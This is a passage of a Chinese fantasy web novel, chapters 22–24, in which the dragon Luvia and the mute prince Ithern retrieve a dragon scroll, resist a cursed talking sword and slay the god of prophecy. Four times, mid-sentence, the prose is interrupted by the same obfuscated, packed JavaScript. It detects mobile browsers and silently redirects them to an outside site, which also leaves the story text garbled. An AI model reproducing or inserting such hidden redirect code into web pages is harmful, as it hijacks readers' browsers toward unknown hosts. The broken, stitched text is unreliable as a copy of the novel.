阿利斯塔得到的神眷是防守型的被动能力,他不怕死,可也没必要和无聊的敌人打消耗。有人能为他战斗,解决龙灾,也不错。 既然她想要一把剑,“或许你可以从龙之卷轴里找寻线索,改天来我的书房吧,欧仁妮小姐。” “这是我的荣幸,陛下。” 王宫遭到龙的破坏,经过多日整理,已经不再像废墟。但仍然不适合用以接待未来的王后。 阿利斯塔派埃里克森护送欧仁妮小姐去一处环境幽雅的庄园休息。 离开灰烬森林,离开谜语一样的大雾,头顶的天空晴明起来,秋日给万物披上冷艳的光辉。两人在如画的风景中行走,不发一言。 行至无人处,埃里克森终于忍不住开口:“您手持利剑,从大雾中走来,虽满身血污,但长发飞扬,目光如炬,深深震撼了我的心。” 作为骑士,对高贵的女士献殷勤很合理。况且他语气恭敬,态度谦卑,言辞虽然夸张,但是并非油腔滑调,不惹人讨厌。埃里克森容易给人留下好印象,是个有些刻板的好人。 欧仁妮歪着头看他,没说话。 “所以,欧仁妮小姐,面对那样的巨兽,您就这样提着裙子,拿剑砍上去了么?不,请不要误会,我不是在质疑您的勇气与本领。而是这件事本身困难到难以想象。我实在好奇。” “嗯。” 回应他的,就只有这么一声。 这也太冷淡了。 正当他以为自己的恭维不对欧仁妮的胃口,想要找些别的话题聊时,欧仁妮问了一个很难招架的问题。 “你觉得陛下会爱上我么?” 天呢,欧仁妮小姐竟是一个憧憬爱情的天真少女么……埃里克森多想告诉她,会的,您没必要焦虑,无需为未来彷徨。可他说不出口。 善意的谎言也不能太离谱。 他选择了实话实说:“比起被爱,我们的陛下更喜欢被人畏惧。反过来也一样,比起去爱人,陛下对操纵人的兴趣更为浓厚。” 欧仁妮点点头:“看来我的婚后生活不会幸福了。” “我很想安慰您。可我不得不说,陛下绝对不会是个好丈夫。您得……做好准备。” “如何准备呢?”欧仁妮耸了耸肩膀,有些尖酸地说,“既然他认为自己是世界的中心,别人为他的欲望与需求而存在。像被惯坏了的小孩子一样挑嘴,只知道用银勺子敲打餐盘,那么无论我端给他什么,他都不会满意。” 话说得很难听,可是,又有谁听见? 人类就是这么神奇,陌生个体之间很难建立信任,然而,一旦他们痛骂不在场的第三人,就像对上了暗号一样,瞬间拉近距离。 “是龙女士的安排,对么?她有什么计划?” 他脸色变得严肃,神经绷得紧紧的,鼻息艰难,想舔一下嘴唇,可嘴里一点唾液都没有。 欧仁妮盯着他看,两人之间仿佛刮过了一股无声的、令人战栗的微风。 良久,她才朝埃里克森伸出并不柔软白皙的手,允许他吻自己的手背。 “你会加入这个计划,对么?” 埃里克森有些无可奈何,但也如释重负。骑士乐于为高贵的女子效劳。拒绝淑女是很不礼貌的。 龙窟内,露维亚正如猫咪般袒露肚皮,在地面上左右扭动着打滚。她在玩儿伊瑟恩送他的礼物,一个由植物柔韧的纸条编织而成的球形花篮。 伊瑟恩本来想做个灯笼,点燃霜脂巨鲸的油来照明,挂在洞里冒充月亮。他想得挺好,手艺没跟上,最后的成品有些小。 即便如此,露维亚也很喜欢。因为伊瑟恩在以龙的角度出发,琢磨她的心思,而不是送她一些用不着的,只有人类女孩会喜欢的东西。 露维亚把花篮勾在尾巴上,向上高高抛起,使之悬浮于龙窟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15309402|166567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的穹顶。施法让花朵“嘭”地一声凭空绽放,芬芳的茉莉像雪片一样飘落下来。 她化为人形,笑嘻嘻地跑过来,去捡掉在伊瑟恩身上的花。有些花沾在他的发梢,有些花坠在胸前,有些花藏到更隐秘的角落。纤长的手指在他身上细致地翻寻。 伊瑟恩心中翻涌着愧疚,他无论如何都不想再去岛上过夜,让露维亚落单。于是拉住她恶作剧的手,蛇一样地缠住她,做出一副很难打发的样子。 “哈哈。如果你能说话,是不是每时每刻都会对我说:想要、想要、想要?” 伊瑟恩惊羞地摇头。 他怎么会在露维亚刚刚经历心灵过载后想这些。他只是想抱她,用力抱她,最好能把自己的身体揉进露维亚的身体,成为她的一部分,代替她去承受混乱的变形。 体会到这个拥抱温暖的力度后,露维亚知道伊瑟恩又在哄她。 因为相爱,他们过分地怜惜对方,巨龙威风凛凛,伊瑟恩却把她当成小女孩一样心疼。 她不闹了,转而把下巴搭在伊瑟恩的颈窝,双手从他的胳膊下边穿过去,抚摸他的后背。 “好啦。我不离开你,你也不离开我。” 她笑了笑,十分确信地说:“你干嘛这么多愁善感呢?镜子里的幻象没剩几个,欧仁妮还答应我去偷龙之卷轴,寻找宝剑的下落。一切都在变好呀!” 伊瑟恩很难认同。 也许一切都在变好,也许。 起初,他以为只要打破镜子,露维亚就能得到自由。后来,他发现镜子中的诅咒已经对露维亚的心灵造成了永久伤害,露维亚年轻早衰……再后来,他知晓了事情的全貌。 龙窟里从来没有什么金银珠宝。 龙确实喜欢亮晶晶的东西,可龙没有财富的概念。露维亚喜欢花瓣上晶莹剔透的露水,喜欢太阳光下,波光粼粼的湖泊,喜欢伊瑟恩的金发。 所以,大卫献给希尔弗王室的财宝只能是图尔的尸体。鳞片、皮肤、骨骼、尖牙、利爪,残存的半截龙角。 大卫为什么可以杀死图尔? 因为宝剑。 三百年前,大卫得到了一把宝剑。再往前追溯,神后曾用它砍下神王的头颅。 而海伦娜公主声称宝剑会说话。 那么,宝剑会对图尔、海伦娜和大卫说什么呢? 可能是控诉。它向神的仆人揭露神王的邪恶,诉说神后蒙受的冤屈。 可能是提醒。它警告人类少女,千万不要心存幻想,幻想能得到神明的宠爱。 可能是怂恿。它帮助大卫杀了助纣为虐的龙,成为英雄。 露维亚满怀斗志,认为自己可以拿到这把剑,用这把剑再一次砍掉神王的脑袋。 伊瑟恩却觉得不对劲。 这宝剑给他一种扭曲、不祥的感觉,执着得近乎邪恶。也许它一直在等待主人,期待有谁能重新拿起自己,为神后复仇——而只要有不幸,就会有复仇。 于是,它随机解救一位公主,成全一位勇士,杀死一头龙,最后,制造一个孤儿。 露维亚生而强大,她有着赤红的蛋壳,有着得天独厚的魔法天赋,她被那把宝剑选中了。 因为伊瑟恩总是被人耻笑、欺凌,所以他会习惯先把事情往坏处想。 伊瑟恩无疑是这个世界上最不希望露维亚被利用的人。他不知道该不该跟露维亚说。说了之后,露维亚肯定会反过来安慰自己,让他别太忧虑…… 且等欧仁妮小姐的消息吧。 22.第 22 章 “这就是龙之卷轴吗?”埃里克森不太相信,“看上去只是对事件经过的梳理。” “我确定这就是全部内容。露维亚应该能从中挖掘什么吧。”欧仁妮语声低沉。 她在想,当露维亚得知图尔的鳞片被分装到四个大箱子里,一半送入王宫,充作红宝石的替代品,妆点宫廷奢靡的生活;一半运往北境,补充战争的消耗时,会是怎样的心情。 父亲的骨骼被雕刻成摆件,牙齿被打磨成珠子,成串成串地堆起来,被希尔弗历代的国王穿戴,或者随手送人。这是何等屈辱啊。 “您不舒服么?欧仁妮小姐,您脸色好差。” “不,我只是感到愧疚。” 埃里克森想了想,说:“您无需为自己不知情的事羞愧。在和龙女士打交道前,谁能想到龙有情感,有智慧呢?” 他说的没错,欧仁妮却不想为自己开脱。因为她的家族从图尔之死中实打实地获益。她也以屠龙勇士的后代的身份为荣,骄傲了许多年。 “埃里克森,露维亚有无数屠戮人类的理由。但她并没有这么做,你觉得是为什么?” 埃里克森说:“也许,不是每个强者都像我们的陛下那样,非要杀人才开心。” 许许多多的人为阿利斯塔的一句话而死,宫殿里的地毯经常沾染血污,不断更换。欧仁妮尽力装成一个单纯的武痴,表现得无害而有利,才成功进入了国王的书房。 在希尔弗,仁慈只作为一个词汇存在,并且它的词义正逐渐被“愚蠢”取代。强者为所欲为,不愿施舍恩惠,弱者则无法承担善良的后果,用冷漠保护自己。 龙和人类竟如此不同么? 欧仁妮试着摈除头脑里那些拖后腿的软弱情感。先对眼前的事负起责任来。行动比道歉有意义得多。 何况,这也是为了她自己。 她把卷轴收好,将誊抄的版本交给埃里克森,拜托他快点送到露维亚指定的位置。 传送魔法只能连接亲身去过的两个地点,为了方便,露维亚把落点设在了公共水井旁边的小巷。埃里克森刚一转身,便被墙壁吞入,消失在人群的视线中。 “又见面了,骑士。”露维亚很幼稚地从背后抱住伊瑟恩,似乎还在为埃里克森上次的误会不高兴,有些阴阳怪气地说道,“这次还打算把王子救走吗?” 埃里克森哪敢说话,连忙低头从衣袋中取出卷轴的抄本,恭敬地双手递给露维亚。 白羽似的睫毛匆促颤动,她快速地完成了浏览。残留在唇角的笑意一点点消失,脸上的肌肉忽然僵住了,好似不知道该作何反应。 她又看了一遍。 在这之后,露维亚丢给埃里克森一个束口袋,内有一颗剧毒的植物种子、一枚魔法护符,让他拿给欧仁妮,以备不时之需。 埃里克森想问龙女士下一步指示,她却只说:“你听欧仁妮的指挥就行。”然后便施法,把骑士传了回去。 转过身,露维亚抓着解剖报告一样的卷轴抄本,肩膀打颤。某种滚烫的液体从金色的眼目中盈溢而出,沿着脸庞流淌,悬在下巴颏上。 这是什么? 露维亚摸了摸自己,疑惑了一瞬。 下一秒,隔着模糊的水帘,她隐约看到伊瑟恩朝自己张开了双臂,她贴过去。原来自己在哭啊。 他捧着她的脸颊,不断摩挲,一如她当初抹去他的泪水。 露维亚竟也变成一个漏了的水罐。她有些惊惶,想去翻找回忆,寻找应对的办法。 可伊瑟恩开始小口小口地吻她。就好像她的眼泪并不苦涩,而是一滴一滴的蜂蜜酒,甘甜如醴,从黄金色的泉眼中涌出。 悲伤并不意味着被打败,露维亚,哭吧,你当然可以哭,专心哭一会儿。不要去想别的。 他不打手势,也没再写字,安静地陪伴着她,露维亚感受着他的支撑,身体放松了一些。 伊瑟恩撩起她的长发,拢到身后,用手指当梳齿,理顺每一根发丝。然后,他开始揉搓她肋下的囤带,他不懂魔法能量如何流转,只知道怎样的力度能让露维亚舒服。 安慰一头龙很简单。 龙应该简单,遵循本性。狩猎银光闪闪的鲜美海鱼,吃红艳多汁的树果,年幼时趴在母亲的背上,成年后在天空中自在飞行,高兴了就转着圈飞,谁惹她生气就朝谁喷火。 她本该这样生活。 就像伊瑟恩本该生活在一个小村庄,做个脾气温和的农民,养点儿小动物,从偶尔经过的流浪歌者口中听闻王宫里的故事,而不是做一个被关在塔楼里的王子。 不知过了多久,她平静下来,“伊瑟恩,你还在吗?” 我在。 他戳戳她的手心。 “卷轴里提到了几个地名和人名,你历史学得好么?” 伊瑟恩勉强点了下头,他还算清楚希尔弗本国的历史,但和知识渊博可沾不上边。 “大卫说他把龙角刻成了神像,供奉在萨米特山,那是什么地方?” 伊瑟恩在黑板上写:“萨米特山就是希尔弗与诺克雷交接处的圣山,圣山横亘北境,只有一个缺口,通往平原。” “哦,那我知道是哪里了。”她把注意力放在解谜上,继续问,“大卫提议,可以把龙尾细长的水滴状的鳞片送给‘西奥多陛下’做生辰礼物,装饰他皇宫里的吊灯。这人是谁?” 伊瑟恩捏了捏她不自觉发抖的手,慢慢写道:“应该是指波丰帝国的皇帝,西奥多一世,他曾是大陆的霸主。现在这个国家已经不存在了。” “哦,短暂的辉煌。” 这时,伊瑟恩突然想起了什么,又写了几行字。 “你是说,阿利斯塔有波丰帝国的血统,所以一直想要征服四邻,复现昔日荣光,”她试着理解人类的动机,歪头思索了片刻,得出结论,“真蠢。阿利斯塔真蠢。” 伊瑟恩不太明白。 如果让伊瑟恩形容阿利斯塔,会用暴虐、冷酷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15323752|166567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 、多疑、傲慢之类的词。不会想到要说他“蠢”。 “人类可以给山川河流起名字,但它们永远也不会‘属于’谁。所以,你不觉得阿利斯塔的野心很可笑么?” 露维亚释出一团火焰,把卷轴抄本点燃,火光照亮她一半的脸,晕影晃动着,有种说不出的神秘感。仿佛不是她在说话,而是真理在借用她的喉咙发声。 “把生命消耗在这种早晚腐朽的功业上,没意思。所以伊瑟恩,你别害怕阿利斯塔。你比他聪明多了!” 伊瑟恩无声地笑笑。他早就不害怕阿利斯塔了。 翌日,露维亚与伊瑟恩飞往圣山。 圣山宛如一个个白发巨人,头顶皑皑冰雪,向下展开宽阔肩膀一样的斜坡。阳光将山峰照得透亮,浅蓝色的裸露岩石与深绿色的松柏相映成趣。 主峰上有一条黑云石铺就的蜿蜒小路,道路尽头立着一座神殿。门把手上的金属环已经锈蚀,屋顶的装饰性石瓦也脱落了大半。 看来,这座神殿荒废了很久。 露维亚厌憎有关神明的一切,于是喋喋不休:“伊瑟恩,你知道么,人类总把神明想象成高洁、禁欲的存在。实际上神王的主要工作就是和不同的神妻生孩子。恶心!” “如果孩子不合祂意,拿不到权柄,或者拿到复仇之神的权柄,就会被祂立刻吞掉。我虽然没见过,但是听克里尔说,场面非常恐怖。” “而且祂的容貌也很普通。不符合人类的审美,也不符合我们龙的审美。神王执掌的权柄是秩序与法度,体现在外表上就是‘平均’,个子不高不矮,身材不胖不瘦,所有的组合都很无聊。祂远不如你有魅力!” 伊瑟恩非常局促。 露维亚夸他,他当然心里美滋滋的。可凡人和神明比美,实在很僭越。他有点不敢当。 与其说他虔诚信奉神明,不如说是下位者不配得的心理在作祟。真正享有权力的人,如戴安女王,不仅大胆迎战神眷者,还按自己的政治需要,重塑神的性别呢! 察觉伊瑟恩的犹豫后,露维亚猛地揽住他的肩膀,把他拉向自己,直勾勾地盯着他,有些不讲理地说:“你不相信我说的吗?” 伊瑟恩连忙摇头。不,当然不。 蛮横的语气,凶恶的表情,有点赌气的感觉。像是小孩子之间在拉帮结派,她在问他:你到底是哪一边的? “哼!” 她一脚踢开了神殿的大门。 霎时间,一线阳光穿透穿神殿中的阴暗,给神像镀上了金色,使它散发出令人敬畏的光芒。 殿内寂静无声,惟有偶尔传来的雪山融水,滴入深池的声音。这肃穆的氛围让人觉得自己的存在十分渺小,无足轻重。 可露维亚知道,这里没有神明,也并不神圣,这里只有她父亲图尔被侮辱的尸体,和她必须去面对的真相。 深吸一口气后,龙女士和她那比神明还要俊美的爱人,手拉着手,拾级而上,朝神殿中央最高处走去。 23.第 23 章 越往高处走,伊瑟恩就越觉得神位和王座很像。 幽暗中的一道光,以及铺着地毯的扇形长阶梯让人对位于中心的事物心生敬畏,可这都是建筑师的有意设计,用视觉影响人的心理。 他们坐在高处,统治时间长久且连续,因此在人类的记忆中,就认为他们理所当然地就应该被仰视。 伊瑟恩十三岁之后就没受过教育,十三岁之前读的政治书也不多。比起一个王子,他更像是个识字的普通青年,掌握的知识浪漫而不实用。 阿利斯塔不想让他懂太多道理,但他在此刻突然拆穿了权力的骗局。 好像是没什么可怕的。 而露维亚停在神像前方,端详了一会儿,发现无论姿态还是样貌,这座雕像都和神王一点关系也没有。 她施展聚合魔法,使神像重新变成半截折断的龙角。手指沿着龙角的丝状纹路轻轻抚摸,冰冷的触感从指尖传入记忆深处。 图尔,一头很普通的公龙。 为了合群,他好勇斗狠,趾高气昂,很早就把角折断了。与迦娜相爱以后,他总算学会柔声细语地说真心话,哪怕这些话很傻气。 他会叫迦娜“我的爱”,叫露维亚“宝贝”,他会亲亲热热地把她们母女包进他巨大的翅膀里,出门会给她们带小礼物回来。 再也见不到他了。 她突然改变主意,施法把眼前的龙角打散,让它变成了微小的元素碎屑,使之归于尘埃。 虚假的聚合物,拼接的尸块,到底不是有生命的东西,那不是图尔。 “我有时觉得,要不是图尔多管闲事,他就不会死,迦娜也不会死。”露维亚有点低落,“双亲都死了,我还怨他们自己有问题,我真差劲。” 伊瑟恩马上牵起她的手,在她手心里写:“不怪你,你只是个思念父母的小女孩。” “小女孩?”露维亚困惑地蹙眉,“我比你大三百多岁!” 没错,可上次他看清楚了,克里尔翅膀下就没有囤带。露维亚说她相当于人类的二十岁,当然不假。但她缺乏照料,保持着幼龙的特征,也是事实。 多搓一搓,囤带里的能量可以快点被她吸收吗?这样想着,手不觉就伸了过去。 大概和人类青春期时没能长够个子道理类似。那点魔法能量本来也不多,没什么好遗憾。 至少,在伊瑟恩到来之前,她这样觉得。 露维亚领会了他的用意,拨开他的手,别过脸,小声说:“这没有用。” 见她不愿意,伊瑟恩把手缩了回去。 他们开始在神殿里四处搜寻,凡是有点不对劲的地方,都用力拍一拍,敲一敲。跟着露维亚,伊瑟恩的胆子也渐渐大了起来,他们一起扯下挂毯,踢倒供桌。 一个小时过去后,毫无收获。 直到露维亚低头,看到脚下的地砖上描绘着线条。 她吹了一口气,石砖隆隆颤动,抖落覆盖在上面的浮土,复杂的装饰花纹便完整地展露出来。 是魔法阵。 露维亚把魔力注入其中,炫目的光焰由四周旋转着汇涌,随后薄雾升腾。而在漩涡中心,一把宝剑缓缓升起,漂浮在呼啸的法流中央。 “离我近一点,孩子……”宝剑发出空灵缥缈的声音,“你需要武器,对吗?” “没错,我需要武器。”露维亚声音响亮,答得干脆。 它被纯净的白光笼罩,明明是把很漂亮的剑,伊瑟恩却无端觉得不安。 “我全都知道,孩子。你无助了太久、孤单了太久,你从来都无法依靠谁,只能靠自己。多可怜啊!我全都知道。”宝剑的语气极其温柔、亲切,甚至充满母性。 露维亚愣了愣,朝它走去。 “对,过来吧。握住我。” 宝剑持续地诱惑露维亚,而露维亚毫无察觉。 这不对劲。 露维亚听不得“你很可怜”这样的话。即便她有脆弱的时刻,也不会产生想要依靠别人的想法。 此刻,她非常喜悦,好像一只疲惫失群的候鸟在长途飞行后终于找到了栖处,丝毫不在意那会不会是一个陷阱。 恍惚的神情,以及梦游般的步态,令伊瑟恩毛骨悚然。 他直觉这宝剑用的不是什么魔法,而是和镜中幻象一样,在直接侵入露维亚的精神。 伊瑟恩快步冲上去,挡在露维亚与宝剑之间。双臂圈紧露维亚的腰,用全身的力气把她往后推,当然抱不动。露维亚的本体可是一座小山那么大的巨龙啊! 他从来没像此刻这么后悔,后悔自己没有早向露维亚提醒。他只是不会说话,并不是不会表达,干嘛不沟通? 因为回避冲突,下意识觉得自己的猜测太阴暗,太负面。不想扫她的兴,认为自己不具备说服对方的能力,认为自己什么都不懂,一定想错了…… 所以只敢说好话,只敢体贴、温顺、付出,作为从属者去爱她,不干涉她的决定。 爱让他变勇敢,却没能根治心底的自卑。 再也不能这样了,再也不! 可现在,他要怎么跟一把花言巧语的剑抢夺露维亚的注意力呢?他急坏了,脸涨得通红,蓝宝石一样的眼睛快速地蓄满泪水。 “啪嗒、啪嗒——” 眼泪掉在露维亚的脖颈,流淌到心口。她愣怔了一下,好像被眼泪的温度烫到。伊瑟恩拥过来的力度,以及颤动的泪眼让她清醒了几分。 宝剑不肯罢休,继续哄道:“杀了他。” 露维亚重复宝剑的话:“杀了他?” “孩子,爱情让你变软弱。你不该软弱,对么?” “对,我不该软弱。” 说完,她握住了剑。 情急之下,伊瑟恩强行勾住露维亚的脖子,把她的脸往下扳,粗鲁地亲吻她的嘴唇,牙齿磕碰着,温热的呼吸交错在一起。他试图让露维亚随便想起点儿什么,想起那些笨拙的探索,想起他们在一起时的情意,或者仅仅是生理性的快乐。 如果任由露维亚杀了自己,一头龙亲手杀死伴侣,她的心灵会多么混乱、痛苦…… 剑刃已经挨到伊瑟恩的后背,划破了他的衣服,坚硬的金属凉丝丝地抵住皮肤。 下一秒,露维亚倾尽全力将宝剑刺下去。 “铿——” 原来,露维亚扭转方向,把它重新插回了地面。 “伊瑟恩……”她盯着他,好像在辨认他是谁,认清之后又困惑自己在干什么,“我弄疼你了吗?” 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15344783|166567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大口大口地喘气,早已泪流满面,催促她往后退。同时心有余悸地扭过头,观察那把宝剑。 一半以上的剑刃都没在石砖内,像枚楔入底面的长钉子。 光芒消散,宝剑仍欲说话,声音却越来越小,最终安静下来。 露维亚慢慢平复,眼神重新变得清澈,“它难道不想助我杀死神王么?我不理解。” 伊瑟恩理解。 在希尔弗,流传着一个瓶中魔鬼的故事:魔鬼失去自由,被关在瓶子里,等待好心人把他释放出来。 一开始,他想报答解救他的人,愿意给他无数金钱。后来,他在等待中变得绝望,绝望催生疯狂。被救后只想杀了打开瓶子的人。 这次,他没犹豫。用手背抹了抹眼泪,连比划带写字,花了一点时间,把故事讲给露维亚听。 “这样说我就明白了。宝剑一心要为神后报仇,但是怨念和仇恨令它扭曲,它需要有人拿起它,可它不相信任何人。它想控制我,而不是帮助我。” 伊瑟恩用力点头。 露维亚消化着这个小故事,赞叹不已:“我知道人类爱讲故事,我曾以为这只是短寿的生物为了保存文明不得已的行为。现在看来,这是智慧。” 她对伊瑟恩灿然一笑:“真有趣啊。” 轻松明亮的笑容让伊瑟恩心头一梗。她可真是没有危机感!鬼使神差地,他扑到露维亚怀里,生气地握拳,捶打她的肩膀。 他张牙舞爪,气势汹汹,其实拳头轻得像春天的雨点,一点都不疼。 “我知道了!我把亲爱的王子吓坏了,现在殿下不许我嬉皮笑脸,对么?” 她变本加厉地调侃他,攥住他一只手,和他闹,看到他后背破损的衣服时,才收敛笑容,沉声说,“是我不好,下次我会谨慎一点。” 伊瑟恩摇摇头,他在露维亚手心里写:是我不好,下次我想到什么都会跟你说。 “那现在我们就来一起思考吧,”露维亚指向魔法阵,“如果这把剑是瓶中魔鬼,又是谁把它封印的呢?屠龙勇士大卫肯定没这个本事。” 是啊。按伊瑟恩之前的猜测,宝剑是这场悲剧的始作俑者,可宝剑似乎只是疯癫、邪门,被插回地面之后,它对露维亚的影响就失效了。 是神王么? 不,不会。神王应该直接毁了这把剑。祂绝不会允许有什么东西能威胁到祂。 是复仇之神? 不……那位神祇最有理由颠覆神权,可祂不是一直没能出生么。 他们坐在神殿的台阶上,托腮沉思,不时交换意见,不断提出可能,又不断否定。真相呼之欲出,又好像隔了一层磨砂玻璃,云遮雾罩。 龙有准确的记忆而无历史,人类有历史却容易在流传中失真,两颗小脑袋凑在一起苦思冥想,始终没想出个所以然。 “过去的事,咱们怎么可能知道,过去,过去……” 他们瞬间大悟,不约而同地抬头,看向彼此的眼睛。 还有未来。 祂看到了神王陨落的未来,在万千可能性中推波助澜,把露维亚带到了这里。 “预言之神!是预言之神!” 直呼神名之后,神殿的大门突然紧闭,建筑内部陷入绝对的漆黑。 24.第 24 章 在黑暗中,没有发生任何特别的事情,只有一阵不知源头的柔风吹过,令发丝和衣衫轻轻摆动,也让露维亚无法判断预言之神的意图。 不会是好事。 无论是掌管天空大地的神,掌管风火雷电的神,掌管爱、美、智慧的神,还是掌管欲望与罪孽的神,祂们都一样冷漠超然。 露维亚不信任神祇。 这倔强而年轻的母龙站了起来,挺胸抬头,全无畏惧。伊瑟恩也随她起身,并立在露维亚身侧,尽量打直腰杆。 面对神明的威压,空气中涌动着的、说不清道不明的冰凉气息,他们安静地牵着手,组成一个最小的联盟。 “万物有始有终,神明亦复如是。神王不断吞吃必然出生的复仇之神,使我的预言无法应验。” 显然,这不是一场平等的对话。祂没有现出自己的形象,而是潜藏在某处观察露维亚的反应。 预言之神的声音十分柔和,却绝对不包含任何感情,宛如无机物在振动。如果有比语言更高效的方式,露维亚相信祂一定会毫不犹豫地采用,比如,把祂的旨意直接灌进露维亚的脑子里。 “我看到红龙与火焰,我看到神王陨落。露维亚,我为你备好武器,你为何不拿起它? 她不由暗想,凭什么?凭什么你安排了我就要接受。你的权能被削弱,和我有什么关系。 祂们永远这么理所当然,哪怕是来寻求帮助,也傲慢得像在审讯罪犯。 “我不曾向你要过武器,我也不会变成你的武器。” “你的想法与我无关。于我而言,重要的是解开混乱,纠正错误,让未来尽快到来,它本应到来。而神后的剑锋利无比。” “是么?”露维亚抓住一丝破绽,“如果你的预言一定会应验,那我没这把剑也行。要么就是你搞错了,那头龙不是我。” “是你,至少在这个千年里只能是你。只有你的鳞片如我所预见的那般鲜红。我已经排除了其他红龙。” 其他红龙,排除。 一瞬间,露维亚听懂了神明隐藏的含义。胸腔似乎钻入无数蚁虫,它们一边密密麻麻地爬行,让她心里发毛,一边啮食她的肺腑,痛楚随每一次呼吸渗入灵魂。 原来这才是露维亚父亲的死因。 宝剑想要一个复仇的载体,一个执剑者,带着神后的怨念,一路杀到神王面前。谁渴望战斗,谁有胆,谁就来。而预言之神全程旁观,他在做试验,用排除法,看到底谁能经受这命运。 露维亚忽然笑了,那是被神明愚弄后的屈辱笑容。图尔的善良得到最惨烈的回报。海伦娜公主纯洁的爱情成为了勇士的奖品。而大卫的正义感也是个笑话,他根本不知道自己干了什么。 大家全都被骗了,那些堪称宝贵的品性,那些真心实意的感情,慈悲、憧憬、荣誉,全都不值一提。宛如路面上被孩童随脚一踢的石子,落到什么地方,就是什么地方。 “几乎与神王同时诞生的古老神祇,维护世界运行,命运的见证者,伟大的预言之神。你是看见未来,通晓真理的神祇。在此请问你,我当真是那条龙么?” “当然,图景愈发清晰,现在,我只看到一条单线。” 露维亚说:“为求稳妥,请您显出真身,来我身边仔细地对照一下。如果我不是,您也好快些把目光投注到其他幼龙身上,去设计他们的命运。” 血的颜色,火的颜色,朝霞与夕阳的颜色,生命元初的颜色。红色,很常见的颜色,不是么? 被砍下头颅的恐惧,神王肯定还记得。再让宝剑现世一次,一定很容易被发现。所以,千万别弄错了啊。 神明满足了她的愿望。 祂也许在想,到底只是头愚笨的龙而已。她需要外界的肯定,需要鼓励,需要神明的许诺,才有安全感。 于是,预言之神真正降临。迷幻而流动的,似乎伴有缥缈乐声的光辉从神殿的穹顶泼洒下来,霎那间把一切照亮。 露维亚眼目中亦有光点晃动,她朝伊瑟恩看了一眼,似有若无的一瞥,让他想起了他们在祭台上的初见。黄金一样的眼睛,纯然原始,聪慧狡黠。 她松开了伊瑟恩的手。 露维亚趴伏在地,做出配合的姿态,像是不自信她真能完成弑神壮举一般,邀请预言之神近前观看。 先是露出了尖耳朵,背后生出了长尾巴,然后是四肢、躯干。她缓慢地化为龙身,巨大的身体屈就于神殿有限的空间,真如一条蜥蜴似的,绕着地砖上的魔法阵爬行。 伊瑟恩紧张地看着龙与神的对峙,安静得好像不存在一样。 终于,露维亚靠近了神祇,象牙色的白发也渐渐合拢、变硬,生出罕见的,长枪一样的龙角。一处裂痕也没有,一点残缺也没有。 “预言之神,请您看清楚。我,迦娜与图尔之女,被流放的露维亚,会是那头弑神的红龙么?” 预言之神嘴唇翕张,轻轻地动了一下。正当祂准备说出判断时,露维亚猛然发力,原来,驯顺的姿态是刺杀前的蓄力。红龙俯首突进,尖角刺向神明的胸膛。 龙角贯穿了预言之神的神体,她不断加深力道,把伤口扩大。 “你竟胆敢……” “我为什么不敢!你不是亲眼看到了么,怎么?难道你觉得我的勇气是一次性的,只能在你的授权下去弑神?笑话!” 前爪踩住预言之神的肩膀,头往后撤,露维亚把长角拔了出来。蛇一样的血线流淌而下,破裂的血肉发出沉闷又粘糊的声响。 她有了经验,重新校准,朝着心脏的位置又是一刺。 “很遗憾你看不到自己的未来,但是恭喜你,预测的结果非常准确。我会杀了神王,一如我杀了你。” 预言之神震惊地挣扎,终于反应过来,开始反击,他用透明的眼睛发出焦灼射线,目光所及之处,皆被腐蚀,嘶嘶冒起白烟。 露维亚硬抗着这份被审视的痛苦,竭尽全力,把神牢牢钉住,然后,她向脚下的魔法阵注入魔力,令宝剑重新升起。 紧接着,她大喊一声:“第十一个!” 最弱小的,最没用的,完全不反抗,连哭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15356808|166567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 泣都不敢发出声音的第十一个祭品。她对他最初的称呼。 伊瑟恩能听懂这句龙语。 他握住了宝剑。 “对!打起来!打起来!快让他把我递给你。你需要一把剑,你需要我……” 宝剑只对露维亚说话。 